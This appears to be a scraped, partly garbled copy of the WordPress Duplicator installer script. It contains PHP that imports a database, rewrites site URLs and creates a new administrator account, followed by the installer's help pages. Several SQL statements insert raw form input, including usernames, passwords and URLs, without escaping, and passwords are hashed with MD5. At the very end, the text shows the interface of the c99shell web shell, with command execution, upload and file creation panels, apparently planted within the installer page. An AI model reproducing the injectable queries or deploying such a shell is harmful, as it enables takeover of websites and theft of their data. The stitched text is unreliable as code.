elseif ($query_strlen > 0) { @mysqli_free_result(@mysqli_query($dbh, ($sql_result_file_data[$counter]))); $err = mysqli_error($dbh); //Check to make sure the connection is alive if (!empty($err)) { if (!mysqli_ping($dbh)) { mysqli_close($dbh); $dbh = DupUtil::db_connect($_POST['dbhost'], $_POST['dbuser'], $_POST['dbpass'], $_POST['dbname'], $_POST['dbport'] ); } DUPX_Log::Info("**ERROR** database error write '{$err}' - [sql=" . substr($sql_result_file_data[$counter], 0, 75) . "...]"); $dbquery_errs++; //Buffer data to browser to keep connection open } else { if ($fcgi_buffer_count++ > $fcgi_buffer_pool) { $fcgi_buffer_count = 0; DupUtil::fcgi_flush(); } $dbquery_rows++; } } $counter++; } @mysqli_commit($dbh); @mysqli_autocommit($dbh, true); DUPX_Log::Info("ERRORS FOUND:\t{$dbquery_errs}"); DUPX_Log::Info("DROP TABLE:\t{$drop_log}"); DUPX_Log::Info("QUERIES RAN:\t{$dbquery_rows}\n"); $dbtable_count = 0; if ($result = mysqli_query($dbh, "SHOW TABLES")) { while ($row = mysqli_fetch_array($result, MYSQLI_NUM)) { $table_rows = DupUtil::table_row_count($dbh, $row[0]); $dbtable_rows += $table_rows; DUPX_Log::Info("{$row[0]}: ({$table_rows})"); $dbtable_count++; } @mysqli_free_result($result); } if ($dbtable_count == 0) { DUPX_Log::Info("NOTICE: You may have to manually run the installer-data.sql to validate data input. Also check to make sure your installer file is correct and the table prefix '{$GLOBALS['FW_TABLEPREFIX']}' is correct for this particular version of WordPress. \n"); } //DATA CLEANUP: Perform Transient Cache Cleanup //Remove all duplicator entries and record this one since this is a new install. $dbdelete_count = 0; @mysqli_query($dbh, "DELETE FROM `{$GLOBALS['FW_TABLEPREFIX']}duplicator_packages`"); $dbdelete_count1 = @mysqli_affected_rows($dbh) or 0; @mysqli_query($dbh, "DELETE FROM `{$GLOBALS['FW_TABLEPREFIX']}options` WHERE `option_name` LIKE ('_transient%') OR `option_name` LIKE ('_site_transient%')"); $dbdelete_count2 = @mysqli_affected_rows($dbh) or 0; $dbdelete_count = (abs($dbdelete_count1) + abs($dbdelete_count2)); DUPX_Log::Info("Removed '{$dbdelete_count}' cache/transient rows"); //Reset Duplicator Options foreach ($GLOBALS['FW_OPTS_DELETE'] as $value) { mysqli_query($dbh, "DELETE FROM `{$GLOBALS['FW_TABLEPREFIX']}options` WHERE `option_name` = '{$value}'"); } @mysqli_close($dbh); $profile_end = DupUtil::get_microtime(); DUPX_Log::Info("\nSECTION RUNTIME: " . DupUtil::elapsed_time($profile_end, $profile_start)); //FINAL RESULTS $ajax1_end = DupUtil::get_microtime(); $ajax1_sum = DupUtil::elapsed_time($ajax1_end, $ajax1_start); DUPX_Log::Info("\n{$GLOBALS['SEPERATOR1']}"); DUPX_Log::Info('STEP1 COMPLETE @ ' . @date('h:i:s') . " - TOTAL RUNTIME: {$ajax1_sum}"); DUPX_Log::Info("{$GLOBALS['SEPERATOR1']}"); $JSON['pass'] = 1; $JSON['table_count'] = $dbtable_count; $JSON['table_rows'] = $dbtable_rows; $JSON['query_errs'] = $dbquery_errs; echo json_encode($JSON); error_reporting($ajax1_error_level); die(''); ?> 0)) ? print_r($_POST['tables'], true) : 'No tables selected to update'; $log .= "--------------------------------------\n"; $log .= "KEEP PLUGINS ACTIVE\n"; $log .= "--------------------------------------\n"; $log .= (isset($_POST['plugins']) && count($_POST['plugins'] > 0)) ? print_r($_POST['plugins'], true) : 'No plugins selected for activation'; DUPX_Log::Info($log, 2); //UPDATE SETTINGS $serial_plugin_list = (isset($_POST['plugins']) && count($_POST['plugins'] > 0)) ? @serialize($_POST['plugins']) : ''; mysqli_query($dbh, "UPDATE `{$GLOBALS['FW_TABLEPREFIX']}options` SET option_value = '{$_POST['blogname']}' WHERE option_name = 'blogname' "); mysqli_query($dbh, "UPDATE `{$GLOBALS['FW_TABLEPREFIX']}options` SET option_value = '{$serial_plugin_list}' WHERE option_name = 'active_plugins' "); $log = "--------------------------------------\n"; $log .= "SERIALIZER ENGINE\n"; $log .= "[*] scan every column\n"; $log .= "[~] scan only text columns\n"; $log .= "[^] no searchable columns\n"; $log .= "--------------------------------------"; DUPX_Log::Info($log); $url_old_json = str_replace('"', "", json_encode($_POST['url_old'])); $url_new_json = str_replace('"', "", json_encode($_POST['url_new'])); $path_old_json = str_replace('"', "", json_encode($_POST['path_old'])); $path_new_json = str_replace('"', "", json_encode($_POST['path_new'])); array_push($GLOBALS['REPLACE_LIST'], array('search' => $_POST['url_old'], 'replace' => $_POST['url_new']), array('search' => $url_old_json, 'replace' => $url_new_json), array('search' => $_POST['path_old'], 'replace' => $_POST['path_new']), array('search' => $path_old_json, 'replace' => $path_new_json), array('search' => rtrim(DupUtil::unset_safe_path($_POST['path_old']), '\\'), 'replace' => rtrim($_POST['path_new'], '/')) ); @mysqli_autocommit($dbh, false); $report = DUPX_Serializer::load($dbh, $GLOBALS['REPLACE_LIST'], $_POST['tables'], $GLOBALS['TABLES_SKIP_COLS'], $_POST['fullsearch']); @mysqli_commit($dbh); @mysqli_autocommit($dbh, true); //BUILD JSON RESPONSE $JSON = array(); $JSON['step1'] = json_decode(urldecode($_POST['json'])); $JSON['step2'] = $report; $JSON['step2']['warn_all'] = 0; $JSON['step2']['warnlist'] = array(); DUPX_Serializer::log_stats($report); DUPX_Serializer::log_errors($report); //Reset the postguid data if ($_POST['postguid']) { mysqli_query($dbh, "UPDATE `{$GLOBALS['FW_TABLEPREFIX']}posts` SET guid = REPLACE(guid, '{$_POST['url_new']}', '{$_POST['url_old']}')"); $update_guid = @mysqli_affected_rows($dbh) or 0; DUPX_Log::Info("Reverted '{$update_guid}' post guid columns back to '{$_POST['url_old']}'"); } /* FINAL UPDATES: Must happen after the global replace to prevent double pathing http://xyz.com/abc01 will become http://xyz.com/abc0101 with trailing data */ mysqli_query($dbh, "UPDATE `{$GLOBALS['FW_TABLEPREFIX']}options` SET option_value = '{$_POST['url_new']}' WHERE option_name = 'home' "); mysqli_query($dbh, "UPDATE `{$GLOBALS['FW_TABLEPREFIX']}options` SET option_value = '{$_POST['siteurl']}' WHERE option_name = 'siteurl' "); //==================================================================================================== //FINAL CLEANUP //==================================================================================================== DUPX_Log::Info("\n********************************************************************************"); DUPX_Log::Info('START FINAL CLEANUP: ' . @date('h:i:s')); DUPX_Log::Info("********************************************************************************"); /*CREATE NEW USER LOGIC */ if (strlen($_POST['wp_username']) >= 4 && strlen($_POST['wp_password']) >= 6) { $newuser_check = mysqli_query($dbh, "SELECT COUNT(*) AS count FROM `{$GLOBALS['FW_TABLEPREFIX']}users` WHERE user_login = '{$_POST['wp_username']}' "); $newuser_row = mysqli_fetch_row($newuser_check); $newuser_count = is_null($newuser_row) ? 0 : $newuser_row[0]; if ($newuser_count == 0) { $newuser_datetime = @date("Y-m-d H:i:s"); $newuser_security = mysqli_real_escape_string($dbh, 'a:1:{s:13:"administrator";s:1:"1";}'); $newuser_test1 = @mysqli_query($dbh, "INSERT INTO `{$GLOBALS['FW_TABLEPREFIX']}users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('{$_POST['wp_username']}', MD5('{$_POST['wp_password']}'), '{$_POST['wp_username']}', '', '{$newuser_datetime}', '', '0', '{$_POST['wp_username']}')"); $newuser_insert_id = mysqli_insert_id($dbh); $newuser_test2 = @mysqli_query($dbh, "INSERT INTO `{$GLOBALS['FW_TABLEPREFIX']}usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES ('{$newuser_insert_id}', '{$GLOBALS['FW_TABLEPREFIX']}capabilities', '{$newuser_security}')"); $newuser_test3 = @mysqli_query($dbh, "INSERT INTO `{$GLOBALS['FW_TABLEPREFIX']}usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES ('{$newuser_insert_id}', '{$GLOBALS['FW_TABLEPREFIX']}user_level', '10')"); //Misc Meta-Data Settings: @mysqli_query($dbh, "INSERT INTO `{$GLOBALS['FW_TABLEPREFIX']}usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES ('{$newuser_insert_id}', 'rich_editing', 'true')"); @mysqli_query($dbh, "INSERT INTO `{$GLOBALS['FW_TABLEPREFIX']}usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES ('{$newuser_insert_id}', 'admin_color', 'fresh')"); @mysqli_query($dbh, "INSERT INTO `{$GLOBALS['FW_TABLEPREFIX']}usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES ('{$newuser_insert_id}', 'nickname', '{$_POST['wp_username']}')"); if ($newuser_test1 && $newuser_test2 && $newuser_test3) { DUPX_Log::Info("NEW WP-ADMIN USER: New username '{$_POST['wp_username']}' was created successfully \n "); } else { $newuser_warnmsg = "NEW WP-ADMIN USER: Failed to create the user '{$_POST['wp_username']}' \n "; $JSON['step2']['warnlist'][] = $newuser_warnmsg; DUPX_Log::Info($newuser_warnmsg); } } else { $newuser_warnmsg = "NEW WP-ADMIN USER: Username '{$_POST['wp_username']}' already exists in the database. Unable to create new account \n"; $JSON['step2']['warnlist'][] = $newuser_warnmsg; DUPX_Log::Info($newuser_warnmsg); } } /*MU Updates*/ $mu_newDomain = parse_url($_POST['url_new']); $mu_oldDomain = parse_url($_POST['url_old']); $mu_newDomainHost = $mu_newDomain['host']; $mu_oldDomainHost = $mu_oldDomain['host']; $mu_updates = @mysqli_query($dbh, "UPDATE `{$GLOBALS['FW_TABLEPREFIX']}blogs` SET domain = '{$mu_newDomainHost}' WHERE domain = '{$mu_oldDomainHost}'"); if ($mu_updates) { DUPX_Log::Info("Update MU table blogs: domain {$mu_newDomainHost} "); } else { DUPX_Log::Info("UPDATE `{$GLOBALS['FW_TABLEPREFIX']}blogs` SET domain = '{$mu_newDomainHost}' WHERE domain = '{$mu_oldDomainHost}'"); } /*UPDATE WP-CONFIG FILE */ $patterns = array("/'WP_HOME',\s*'.*?'/", "/'WP_SITEURL',\s*'.*?'/", "/'DOMAIN_CURRENT_SITE',\s*'.*?'/"); $replace = array("'WP_HOME', " . '\'' . $_POST['url_new'] . '\'', "'WP_SITEURL', " . '\'' . $_POST['url_new'] . '\'', "'DOMAIN_CURRENT_SITE', " . '\'' . $mu_newDomainHost . '\''); $config_file = @file_get_contents('wp-config.php', true); $config_file = preg_replace($patterns, $replace, $config_file); file_put_contents('wp-config.php', $config_file); //Create Snapshots directory if (!file_exists(DUPLICATOR_SSDIR_NAME)) { mkdir(DUPLICATOR_SSDIR_NAME, 0755); } $fp = fopen(DUPLICATOR_SSDIR_NAME . '/index.php', 'w'); fclose($fp); //=============================== //WARNING TESTS //=============================== DUPX_Log::Info("\n--------------------------------------"); DUPX_Log::Info("WARNINGS"); DUPX_Log::Info("--------------------------------------"); $config_vars = array('WP_CONTENT_DIR', 'WP_CONTENT_URL', 'WPCACHEHOME', 'COOKIE_DOMAIN', 'WP_SITEURL', 'WP_HOME', 'WP_TEMP_DIR'); $config_found = DupUtil::string_has_value($config_vars, $config_file); //Files if ($config_found) { $msg = 'WP-CONFIG WARNING: The wp-config.php has one or more of these values "' . implode(", ", $config_vars) . '" which may cause issues please validate these values by opening the file.'; $JSON['step2']['warnlist'][] = $msg; DUPX_Log::Info($msg); } //Database $result = @mysqli_query($dbh, "SELECT option_value FROM `{$GLOBALS['FW_TABLEPREFIX']}options` WHERE option_name IN ('upload_url_path','upload_path')"); if ($result) { while ($row = mysqli_fetch_row($result)) { if (strlen($row[0])) { $msg = "MEDIA SETTINGS WARNING: The table '{$GLOBALS['FW_TABLEPREFIX']}options' has at least one the following values ['upload_url_path','upload_path'] set please validate settings. These settings can be changed in the wp-admin by going to Settings->Media area see 'Uploading Files'"; $JSON['step2']['warnlist'][] = $msg; DUPX_Log::Info($msg); break; } } } if (empty($JSON['step2']['warnlist'])) { DUPX_Log::Info("No Warnings Found\n"); } $JSON['step2']['warn_all'] = empty($JSON['step2']['warnlist']) ? 0 : count($JSON['step2']['warnlist']); mysqli_close($dbh); @unlink('database.sql'); //CONFIG Setup DUPX_Config::Setup(); $ajax2_end = DupUtil::get_microtime(); $ajax2_sum = DupUtil::elapsed_time($ajax2_end, $ajax2_start); DUPX_Log::Info("********************************************************************************"); DUPX_Log::Info('STEP 2 COMPLETE @ ' . @date('h:i:s') . " - TOTAL RUNTIME: {$ajax2_sum}"); DUPX_Log::Info("********************************************************************************"); $JSON['step2']['pass'] = 1; error_reporting($ajax2_error_level); die(json_encode($JSON)); ?> Wordpress Duplicator
      Duplicator - Installer
    Help Overview
    version:   [Help]  
    1) { $zip_file_name = "Too many zip files in directory"; } $req01a = @is_writeable($GLOBALS["CURRENT_ROOT_PATH"]) ? 'Pass' : 'Fail'; if (is_dir($GLOBALS["CURRENT_ROOT_PATH"])) { if ($dh = @opendir($GLOBALS["CURRENT_ROOT_PATH"])) { closedir($dh); } else { $req01a = 'Fail'; } } $req01b = ($zip_file_count == 1) ? 'Pass' : 'Fail'; $req01 = ($req01a == 'Pass' && $req01b == 'Pass') ? 'Pass' : 'Fail'; $safe_ini = strtolower(@ini_get('safe_mode')); $req02 = $safe_ini != 'on' || $safe_ini != 'yes' || $safe_ini != 'true' || ini_get("safe_mode") != 1 ? 'Pass' : 'Fail'; $req03 = function_exists('mysqli_connect') ? 'Pass' : 'Fail'; $php_compare = version_compare(phpversion(), '5.2.17'); $req04 = $php_compare >= 0 ? 'Pass' : 'Fail'; $total_req = ($req01 == 'Pass' && $req02 == 'Pass' && $req03 == 'Pass' && $req04 == 'Pass') ? 'Pass' : 'Fail'; ?>

    Step 1: Files & Database


      Requirements: Fail

    This installation will not be able to proceed until the system requirements pass. Please validate your system requirements by clicking on the button above. In order to get these values to pass please contact your server administrator, hosting provider or visit the online FAQ.
    Helpful Resources:
    » Common FAQs
    » User Guide
    » Approved Hosts

      Requirements: Pass

    MySQL Database
    Action
    Host
    Name
    User
    Password
    Need Setup Help...

    Advanced Options...
    WARNINGS & NOTICES

    Disclaimer: This plugin require above average technical knowledge. Please use it at your own risk and always back up your database and files beforehand using another backup system besides the Duplicator. If you're not sure about how to use this tool then please enlist the guidance of a technical professional. Always test this installer in a sandbox environment before trying to deploy into a production setting.

    Database: Do not connect to an existing database unless you are 100% sure you want to remove all of it's data. Connecting to a database that already exists will permanently DELETE all data in that database. This tool is designed to populate and fill a database with NEW data from a duplicated database using the SQL script in the package name above.

    Setup: Only the archive and installer.php file should be in the install directory, unless you have manually extracted the package and checked the 'Manual Package Extraction' checkbox. All other files will be OVERWRITTEN during install. Make sure you have full backups of all your databases and files before continuing with an installation.

    Manual Extraction: Manual extraction requires that all contents in the package are extracted to the same directory as the installer.php file. Manual extraction is only needed when your server does not support the ZipArchive extension. Please see the online help for more details.

    After Install:When you are done with the installation remove the installer.php, installer-data.sql and the installer-log.txt files from your directory. These files contain sensitive information and should not remain on a production system.



    The remove action will delete all tables and data from the database!



    Step 2: Files & Database



    Old Settings
    URL edit
    Path edit
    New Settings
    URL get
    Path
    Title

    New Admin Account...

    Advanced Options...
    " />

    Step 3: Test Site



    IMPORTANT FINAL STEPS!
    1. Install Report Errors: Deploy ()   Update ()     Warnings: ()
    2. /wp-admin/options-permalink.php' target='_blank'> Save Permalinks Updates URL rewrite rules in .htaccess (requires login)
    3. ' target='_blank'>Test Site Validate all pages, links images and plugins
    4. File Cleanup Removes all installer files (requires login)

    To re-install start over at step 1.
    The .htaccess file was reset. Resave plugins that write to this file.



    For in-depth help please see the online resources

    Step 1 - Deploy

    MySQL Server Action:
    'Create New' will attempt to create a new database if it does not exist. This option will not work on many hosting providers. If the database does not exist then you will need to login to your control panel and create the database. If 'Connect and Remove All Data' is checked this will DELETE all tables in the database you are connecting to as the Duplicator requires a blank database. Please make sure you have backups of all your data before using an portion of the installer, as this option WILL remove all data. Please contact your server administrator for more details.

    Host:
    The name of the host server that the database resides on. Many times this will be localhost, however each hosting provider will have it's own naming convention please check with your server administrator. To add a port number just append it to the host i.e. 'localhost:3306'.

    User:
    The name of a MySQL database server user. This is special account that has privileges to access a database and can read from or write to that database. This is not the same thing as your WordPress administrator account

    Password:
    The password of the MySQL database server user.

    Name:
    The name of the database to which this installation will connect and install the new tables onto.

    Common Database Connection Issues:
    - Double check case sensitive values 'User', 'Password' & the 'Database Name'
    - Validate the database and database user exist on this server
    - Check if the database user has the correct permission levels to this database
    - The host 'localhost' may not work on all hosting providers
    - Contact your hosting provider for the exact required parameters
    - See the 'Database Setup Help' section on step 1 for more details
    - Visit the online resources 'Common FAQ page'
    Advanced Options Manual Package Extraction:
    This allows you to manually extract the zip archive on your own. This can be useful if your system does not have the ZipArchive support enabled.

    Enforce SSL on Admin:
    Turn off SSL support for WordPress. This sets FORCE_SSL_ADMIN in your wp-config file to false if true, otherwise it will create the setting if not set.

    Enforce SSL on Login:
    Turn off SSL support for WordPress Logins. This sets FORCE_SSL_LOGIN in your wp-config file to false if true, otherwise it will create the setting if not set.

    Keep Cache Enabled:
    Turn off Cache support for WordPress. This sets WP_CACHE in your wp-config file to false if true, otherwise it will create the setting if not set.

    Keep Cache Home Path:
    This sets WPCACHEHOME in your wp-config file to nothing if true, otherwise nothing is changed.

    Fix non-breaking space characters:
    The process will remove utf8 characters represented as 'xC2' 'xA0' and replace with a uniform space. Use this option if you find strange question marks in you posts

    MySQL Charset & MySQL Collation:
    When the database is populated from the SQL script it will use this value as part of its connection. Only change this value if you know what your databases character set should be.

    Step 2 - Update

    Settings Old Settings:
    The URL and Path settings are the original values that the package was created with. These values should not be changed.

    New Settings:
    These are the new values (URL, Path and Title) you can update for the new location at which your site will be installed at.
    New Admin Account Username:
    The new username to create. This will create a new WordPress administrator account. Please note that usernames are not changeable from the within the UI.

    Password:
    The new password for the user.
    Advanced Options Site URL:
    For details see WordPress Site URL & Alternate Directory. If you're not sure about this value then leave it the same as the new settings URL.

    Scan Tables:
    Select the tables to be updated. This process will update all of the 'Old Settings' with the 'New Settings'. Hold down the 'ctrl key' to select/deselect multiple.

    Activate Plugins:
    These plug-ins are the plug-ins that were activated when the package was created and represent the plug-ins that will be activated after the install.

    Post GUID:
    If your moving a site keep this value checked. For more details see the notes on GUIDS. Changing values in the posts table GUID column can change RSS readers to evaluate that the posts are new and may show them in feeds again.

    Full Search:
    Full search forces a scan of every single cell in the database. If it is not checked then only text based columns are searched which makes the update process much faster.

    Step 3 - Test

    Final Steps Resave Permalinks
    Re-saving your perma-links will reconfigure your .htaccess file to match the correct path on your server. This step requires logging back into the WordPress administrator.

    Delete Installer Files
    When you're completed with the installation please delete all installer files. Leaving these files on your server can impose a security risk!

    Test Entire Site
    After the install is complete run through your entire site and test all pages and posts.

    View Install Report
    The install report is designed to give you a synopsis of the possible errors and warnings that may exist after the installation is completed.

    Troubleshooting Tips

    Quick Overview
    Common Quick Fix Issues:
    • Use an approved hosting provider
    • Validate directory and file permissions (see below)
    • Validate web server configuration file (see below)
    • Clear your browsers cache
    • Deactivate and reactivate all plugins
    • Resave a plugins settings if it reports errors
    • Make sure your root directory is empty
    Permissions:
    Not all operating systems are alike. Therefore, when you move a package (zip file) from one location to another the file and directory permissions may not always stick. If this is the case then check your WordPress directories and make sure it's permissions are set to 755. For files make sure the permissions are set to 644 (this does not apply to windows servers). Also pay attention to the owner/group attributes. For a full overview of the correct file changes see the WordPress permissions codex

    Web server configuration files:
    For Apache web server the root .htaccess file was copied to .htaccess.orig. A new stripped down .htaccess file was created to help simplify access issues. For IIS web server the web.config file was copied to web.config.orig, however no new web.config file was created. If you have not altered this file manually then resaving your permalinks and resaving your plugins should resolve most all changes that were made to the root web configuration file. If your still experiencing issues then open the .orig file and do a compare to see what changes need to be made.

    Plugin Notes:
    It's impossible to know how all 3rd party plugins function. The Duplicator attempts to fix the new install URL for settings stored in the WordPress options table. Please validate that all plugins retained there settings after installing. If you experience issues try to bulk deactivate all plugins then bulk reactivate them on your new duplicated site. If you run into issues were a plugin does not retain its data then try to resave the plugins settings.

    Cache Systems:
    Any type of cache system such as Super Cache, W3 Cache, etc. should be emptied before you create a package. Another alternative is to include the cache directory in the directory exclusion path list found in the options dialog. Including a directory such as \pathtowordpress\wp-content\w3tc\ (the w3 Total Cache directory) will exclude this directory from being packaged. In is highly recommended to always perform a cache empty when you first fire up your new site even if you excluded your cache directory.

    Trying Again:
    If you need to retry and reinstall this package you can easily run the process again by deleting all files except the installer.php and package file and then browse to the installer.php again.

    Additional Notes:
    If you have made changes to your PHP files directly this might have an impact on your duplicated site. Be sure all changes made will correspond to the sites new location. Only the package (zip file) and the installer.php file should be in the directory where you are installing the site. Please read through our knowledge base before submitting any issues. If you have a large log file that needs evaluated please email the file, or attach it to a help ticket.

    For in-depth help please see the online resources




    :: Command execute ::

    Enter:
     
    Select:
     

    :: Search ::
      - regexp 

    :: Upload ::
     
    [ ok ]

    :: Make Dir ::
     
    [ ok ]
    :: Make File ::
     
    [ ok ]

    :: Go Dir ::
     
    :: Go File ::
     

    --[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--